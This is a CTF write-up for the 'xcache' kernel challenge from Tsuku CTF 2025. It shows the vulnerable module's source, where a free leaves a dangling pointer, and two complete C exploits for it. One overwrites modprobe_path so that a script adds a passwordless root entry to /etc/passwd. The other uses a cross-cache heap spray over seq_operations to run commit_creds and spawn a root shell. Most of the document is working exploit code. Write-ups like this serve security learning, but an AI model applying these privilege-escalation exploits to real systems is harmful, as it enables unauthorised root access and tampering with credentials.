xcache
Tsuku CTF 2025
challenge
#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002
#define OBJ_MAX 0x200
#define OBJ_SIZE 0x200
typedef struct {
int id;
size_t size;
char *data;
} request_t;
struct obj {
char buf[OBJ_SIZE];
};
static struct obj *objs[OBJ_MAX];
static struct kmem_cache *obj_cachep;
static DEFINE_MUTEX(module_lock);
static long obj_alloc(int id) {
if (objs[id] != NULL) {
return -1;
}
objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
if (objs[id] == NULL) {
return -1;
}
return 0;
}
static long obj_write(int id, char *data, size_t size) {
if (objs[id] == NULL || size > OBJ_SIZE) {
return -1;
}
if (copy_from_user(objs[id]->buf, data, size) != 0) {
return -1;
}
return 0;
}
static long obj_free(int id) {
kmem_cache_free(obj_cachep, objs[id]);
return 0;
}
static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
request_t req;
long ret;
if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) {
return -1;
}
if (req.id < 0 || req.id > OBJ_MAX - 1) {
return -1;
}
mutex_lock(&module_lock);
switch(cmd) {
case CMD_ALLOC:
ret = obj_alloc(req.id);
break;
case CMD_WRITE:
ret = obj_write(req.id, req.data, req.size);
break;
case CMD_FREE:
ret = obj_free(req.id);
break;
default:
ret = -1;
break;
}
mutex_unlock(&module_lock);
return ret;
}
summary 1
This challenge is similar with easy-kernel.
Two things that difference from the previous challenge are allocator and buf size.
allocator
the buffers which store the users data were allocated by
kmem_cache
.kmem_cache
has original cache method inside, so we have to cross the cache method.
buf size
pwner can allocate 0x200 bytes buffer for 0x200 times.
exploit 1

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <poll.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#define MODULE_NAME "/dev/vuln"
#define MODPROBE_SCRIPT "#!/bin/sh\necho pwn::0:0:root:/root:/bin/sh>>/etc/passwd\n"
#define PROC_NAME "NKTIDKSG"
#define MODPROBE_FAKE "/tmp/810114514"
#define COLOR_RESET "\033[0m"
#define COLOR_RED "\033[0;31m"
#define COLOR_GREEN "\033[0;32m"
#define COLOR_YELLOW "\033[0;33m"
#define COLOR_BLUE "\033[0;34m"
#define COLOR_MAGENTA "\033[0;35m"
#define COLOR_CYAN "\033[0;36m"
#define info(fmt, ...) \
printf(COLOR_CYAN "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define success(fmt, ...) \
printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define error(fmt, ...) \
printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define warning(fmt, ...) \
printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) { \
fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
exit(1); \
} \
__res; \
})
#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002
#define OBJ_MAX 0x200
#define OBJ_SIZE 0x200
#define MODULE_NAME "/dev/vuln"
typedef struct
{
int id;
size_t size;
char *data;
} request_t;
unsigned long modprobe_path = 0xffffffff81eaeac0;
unsigned long objs = 0xffffffffc0002660;
int main(void)
{
int exp_fd = SYSCHK(open(MODPROBE_FAKE, O_RDWR | O_CREAT, 0777));
SYSCHK(write(exp_fd, MODPROBE_SCRIPT, strlen(MODPROBE_SCRIPT)));
SYSCHK(close(exp_fd));
int victim = open(MODULE_NAME, O_RDWR);
if (victim < 0)
{
error("[-] open %s failed", MODULE_NAME);
exit(1);
}
info("victim fd: %d", victim);
request_t req = {.id = 0, .size = 0x0, .data = NULL};
ioctl(victim, CMD_ALLOC, &req);
ioctl(victim, CMD_FREE, &req);
char payload[0x200] = {0};
unsigned long *p = (unsigned long *)&payload[0x100];
*p = objs+0x20;
req.data = payload;
req.size = sizeof(payload);
ioctl(victim, CMD_WRITE, &req);
req.id = 1;
req.size = 0x0;
req.data = NULL;
ioctl(victim, CMD_ALLOC, &req);
req.id = 2;
ioctl(victim, CMD_ALLOC, &req);
char p2[0x8] = {0};
unsigned long *p2_ = (unsigned long *)&p2[0x0];
*p2_ = modprobe_path;
req.id = 2;
req.data = p2;
req.size = sizeof(p2);
success("overwrite objs");
ioctl(victim, CMD_WRITE, &req);
req.id = 4;
req.data = MODPROBE_FAKE;
req.size = strlen(MODPROBE_FAKE);
success("overwrite modprobe_path");
ioctl(victim, CMD_WRITE, &req);
info("socket");
int inv_protocol = socket(38, SOCK_SEQPACKET, 0);
system("su - pwn");
system("/bin/sh");
return 0;
}
Summary 2
According to the title of this challenge, author intended us to exploit with cross-cache.
https://xz.aliyun.com/news/11863
https://u1f383.github.io/linux/2025/01/03/cross-cache-attack-cheatsheet.html
exploit 2
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#define COLOR_RESET "\033[0m"
#define COLOR_RED "\033[0;31m"
#define COLOR_GREEN "\033[0;32m"
#define COLOR_YELLOW "\033[0;33m"
#define COLOR_BLUE "\033[0;34m"
#define COLOR_MAGENTA "\033[0;35m"
#define COLOR_CYAN "\033[0;36m"
#define PROC_NAME "NKTIDKSG"
#define MODPROBE_SCRIPT "#!/bin/sh\necho pwn::0:0:root:/root:/bin/sh>>/etc/passwd\n"
#define MODPROBE_FAKE "/tmp/810114514"
#define info(fmt, ...) \
printf(COLOR_CYAN "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define success(fmt, ...) \
printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define error(fmt, ...) \
printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define warning(fmt, ...) \
printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__)
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) { \
fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
exit(1); \
} \
__res; \
})
#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002
#define OBJ_MAX 0x200
#define OBJ_SIZE 0x200
#define MODULE_NAME "/dev/vuln"
#define SPRAY 0x100
typedef struct {
int id;
size_t size;
char *data;
} request_t;
unsigned long cs;
unsigned long ss;
unsigned long rsp;
unsigned long rflags;
unsigned long commit_creds = 0xffffffff812a1050;
unsigned long init_cred = 0xffffffff81e3bfa0;
unsigned long modprobe_path = 0xffffffff81eaeac0;
unsigned long kbase = 0xffffffff81000000;
// /sys/kernel/slab/kmalloc-512/objs_per_slab , cpu_partial
unsigned int ops512 = 8;
unsigned int cp512 = 52;
void shell() {
puts("[*] shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
static void ret2user(unsigned long rip) {
asm volatile ("swapgs\n");
asm volatile(
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(ss),
"r"(rsp),
"r"(rflags),
"r"(cs), "r"(rip));
}
void lpe() {
void (*cc)(char *) = (void *)commit_creds;
(*cc)((void *)init_cred);
ret2user((unsigned long)shell);
}
static void refuge() {
asm volatile (
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(cs), "=r"(ss), "=r"(rsp), "=r"(rflags)
:
: "memory");
}
int main(void) {
int victim = open(MODULE_NAME, O_RDWR);
if (victim < 0) {
error("[-] open %s failed", MODULE_NAME);
exit(1);
}
info("victim fd: %d", victim);
request_t req = {.id = 0, .size = 0x0, .data = NULL};
info("spray1. cpu_partial slab");
for (int i = 0;i < ops512*(cp512+1);i++) {
req.id = i;
ioctl(victim,CMD_ALLOC, &req);
}
req.id = ops512*(cp512+1);
ioctl(victim,CMD_ALLOC, &req);
info("free");
for (int i = 0;i < ops512*(cp512+1);i+=ops512) {
if (i % (ops512*2) == 0) {
for (int j = 0;j < ops512;j++) {
req.id = i+j;
ioctl(victim,CMD_FREE, &req);
}
} else {
req.id = i;
ioctl(victim,CMD_FREE, &req);
}
}
info("spray seq_operations");
int seqs[SPRAY] = {0};
for (int i = 0;i < SPRAY;i++) {
seqs[i] = open("/proc/self/stat", O_RDONLY);
}
char payload[0x20] = {0};
unsigned long *p = (unsigned long *)payload;
*p++ = (unsigned long)lpe;
*p++ = (unsigned long)lpe;
*p++ = (unsigned long)lpe;
*p++ = (unsigned long)lpe;
req.data = payload;
req.size = sizeof(payload);
info("injecting seq_operations");
for (int i = 0;i < ops512*(cp512+1);i+=ops512) {
if (i % (ops512*2) == 0) {
req.id = i;
ioctl(victim,CMD_WRITE, &req);
}
}
info("trying to get rip");
for (int i = 0;i < SPRAY;i++) {
refuge();
read(seqs[i], NULL, 1);
}
}
Last modified: 09 May 2025